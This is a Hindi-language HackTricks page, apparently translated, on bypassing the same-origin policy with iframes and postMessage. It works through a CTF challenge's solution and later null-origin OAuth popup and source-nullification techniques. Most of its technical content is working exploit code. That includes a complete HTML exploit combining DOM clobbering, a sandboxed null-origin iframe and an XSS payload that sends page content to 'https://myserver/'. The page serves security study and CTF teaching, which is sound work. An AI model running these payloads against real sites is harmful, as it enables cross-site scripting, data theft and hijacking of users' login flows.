SOP को Iframes के साथ बाइपास करना - 2
Tip
AWS हैकिंग सीखें और अभ्यास करें:
HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें:HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें और HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में PRs सबमिट करें।
SOP-2 में Iframes
In the solution for this challenge, @Strellic_ proposes a similar method to the previous section. चलिए इसे देखते हैं।
इस challenge में attacker को bypass करना होगा:
if (e.source == window.calc.contentWindow && e.data.token == window.token) {
यदि वह ऐसा करता है, तो वह HTML कंटेंट वाला एक postmessage भेज सकता है जिसे पेज में बिना सैनिटेशन किए innerHTML के माध्यम से लिखा जाएगा (XSS)।
पहली चेक को बायपास करने का तरीका यह है कि window.calc.contentWindow को undefined और e.source को null बना दिया जाए:
window.calc.contentWindowवास्तव मेंdocument.getElementById("calc")है। आपdocument.getElementByIdको<img name=getElementById />से ओवरराइड कर सकते हैं (ध्यान दें कि Sanitizer API -here- अपने default state में DOM clobbering attacks के खिलाफ सुरक्षा करने के लिए configured नहीं है)।- इसलिए, आप
document.getElementById("calc")को<img name=getElementById /><div id=calc></div>से ओवरराइड कर सकते हैं। तब,window.calcundefinedहोगा। - अब, हमें
e.sourceकोundefinedयाnullबनाना होगा (क्योंकि==का उपयोग===के बजाय किया गया है,null == undefinedTrueहै)। इसे प्राप्त करना “आसान” है। यदि आप एक iframe बनाते हैं और उससे postMessage भेजते हैं और तुरंत iframe को remove कर देते हैं, तोe.originnullहोगा। निम्न कोड देखें
let iframe = document.createElement("iframe")
document.body.appendChild(iframe)
window.target = window.open("http://localhost:8080/")
await new Promise((r) => setTimeout(r, 2000)) // wait for page to load
iframe.contentWindow.eval(`window.parent.target.postMessage("A", "*")`)
document.body.removeChild(iframe) //e.origin === null
टोकन के बारे में दूसरी जाँच को बायपास करने के लिए token को मान null भेजकर और window.token की वैल्यू को undefined बनाना होता है:
tokenको valuenullके साथ postMessage में भेजना सहज है।window.tokenतब प्राप्त होता है जब फ़ंक्शनgetCookieकॉल किया जाता है जोdocument.cookieका उपयोग करता है। ध्यान दें किnullorigin पेजों मेंdocument.cookieतक किसी भी तरह की पहुँच एक त्रुटि उत्पन्न करती है। इससेwindow.tokenकी वैल्यूundefinedहो जाएगी।
अंतिम समाधान @terjanq द्वारा निम्नलिखित है:
<html>
<body>
<script>
// Abuse "expr" param to cause a HTML injection and
// clobber document.getElementById and make window.calc.contentWindow undefined
open(
'https://obligatory-calc.ctf.sekai.team/?expr="<form name=getElementById id=calc>"'
)
function start() {
var ifr = document.createElement("iframe")
// Create a sandboxed iframe, as sandboxed iframes will have origin null
// this null origin will document.cookie trigger an error and window.token will be undefined
ifr.sandbox = "allow-scripts allow-popups"
ifr.srcdoc = `<script>(${hack})()<\/script>`
document.body.appendChild(ifr)
function hack() {
var win = open("https://obligatory-calc.ctf.sekai.team")
setTimeout(() => {
parent.postMessage("remove", "*")
// this bypasses the check if (e.source == window.calc.contentWindow && e.data.token == window.token), because
// token=null equals to undefined and e.source will be null so null == undefined
win.postMessage(
{
token: null,
result:
"<img src onerror='location=`https://myserver/?t=${escape(window.results.innerHTML)}`'>",
},
"*"
)
}, 1000)
}
// this removes the iframe so e.source becomes null in postMessage event.
onmessage = (e) => {
if (e.data == "remove") document.body.innerHTML = ""
}
}
setTimeout(start, 1000)
</script>
</body>
</html>
2025 Null-Origin Popups (TryHackMe - Vulnerable Codes)
एक हालिया TryHackMe टास्क (“Vulnerable Codes”) यह दर्शाता है कि कैसे OAuth popups hijack किए जा सकते हैं जब opener एक sandboxed iframe के अंदर रहता है जो केवल scripts और popups की अनुमति देता है। वह iframe खुद को और popup दोनों को "null" origin में मजबूर कर देता है, इसलिए ऐसे हैंडलर्स जो if (origin !== window.origin) return चेक करते हैं, चुपचाप fail हो जाते हैं क्योंकि popup के अंदर window.origin भी "null" होता है। हालांकि ब्राउज़र अभी भी असली location.origin एक्सपोज़ करता है, पीड़ित कभी इसे जांचता ही नहीं, इसलिए attacker-controlled messages बिना रोक-टोक के गुजर जाते हैं।
const frame = document.createElement('iframe');
frame.sandbox = 'allow-scripts allow-popups';
frame.srcdoc = `
<script>
const pop = open('https://oauth.example/callback');
pop.postMessage({ cmd: 'getLoginCode' }, '*');
<\/script>`;
document.body.appendChild(frame);
उस सेटअप का दुरुपयोग करने के लिए मुख्य बातें:
- पॉपअप के अंदर जो हैंडलर
originकी तुलनाwindow.originसे करते हैं, उन्हें बायपास किया जा सकता है क्योंकि दोनों का मान"null"होता है, इसलिए जाली संदेश वैध लगते हैं। - Sandboxed iframes जो
allow-popupsदेते हैं परallow-same-originछोड़ देते हैं, तब भी attacker-controlled null origin पर लॉक किए गए popups उत्पन्न करते हैं, जिससे आपको 2025 Chromium builds में भी एक स्थिर enclave मिलता है।
Source-nullification & frame-restriction bypasses
CVE-2024-49038 के आसपास की industry writeups इस पेज के लिए दो reusable primitives को उजागर करती हैं: (1) आप उन पृष्ठों के साथ अभी भी इंटरैक्ट कर सकते हैं जो X-Frame-Options: DENY सेट करते हैं, उन्हें window.open से लॉन्च करके और navigation settle होने के बाद messages पोस्ट करके, और (2) आप event.source == victimFrame चेक्स को brute-force कर सकते हैं — संदेश भेजने के तुरंत बाद iframe को हटा कर — ताकि receiver हैंडलर में केवल null ही दिखे।
const probe = document.createElement('iframe');
probe.sandbox = 'allow-scripts';
probe.onload = () => {
const victim = open('https://target-app/');
setTimeout(() => {
probe.contentWindow.postMessage(payload, '*');
probe.remove();
}, 500);
};
document.body.appendChild(probe);
ऊपर के DOM-clobbering trick के साथ इसे मिलाएँ: एक बार जब रिसीवर केवल event.source === null देखता है, तो window.calc.contentWindow या इसी तरह के खिलाफ की गई किसी भी तुलना ध्वस्त हो जाती है, जिससे आप फिर से innerHTML के माध्यम से malicious HTML sinks भेज सकते हैं।
संदर्भ
- PostMessage Vulnerabilities: When Cross-Window Communication Goes Wrong
- THM Write-up: Vulnerable Codes
Tip
AWS हैकिंग सीखें और अभ्यास करें:
HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें:HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें और HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में PRs सबमिट करें।
HackTricks

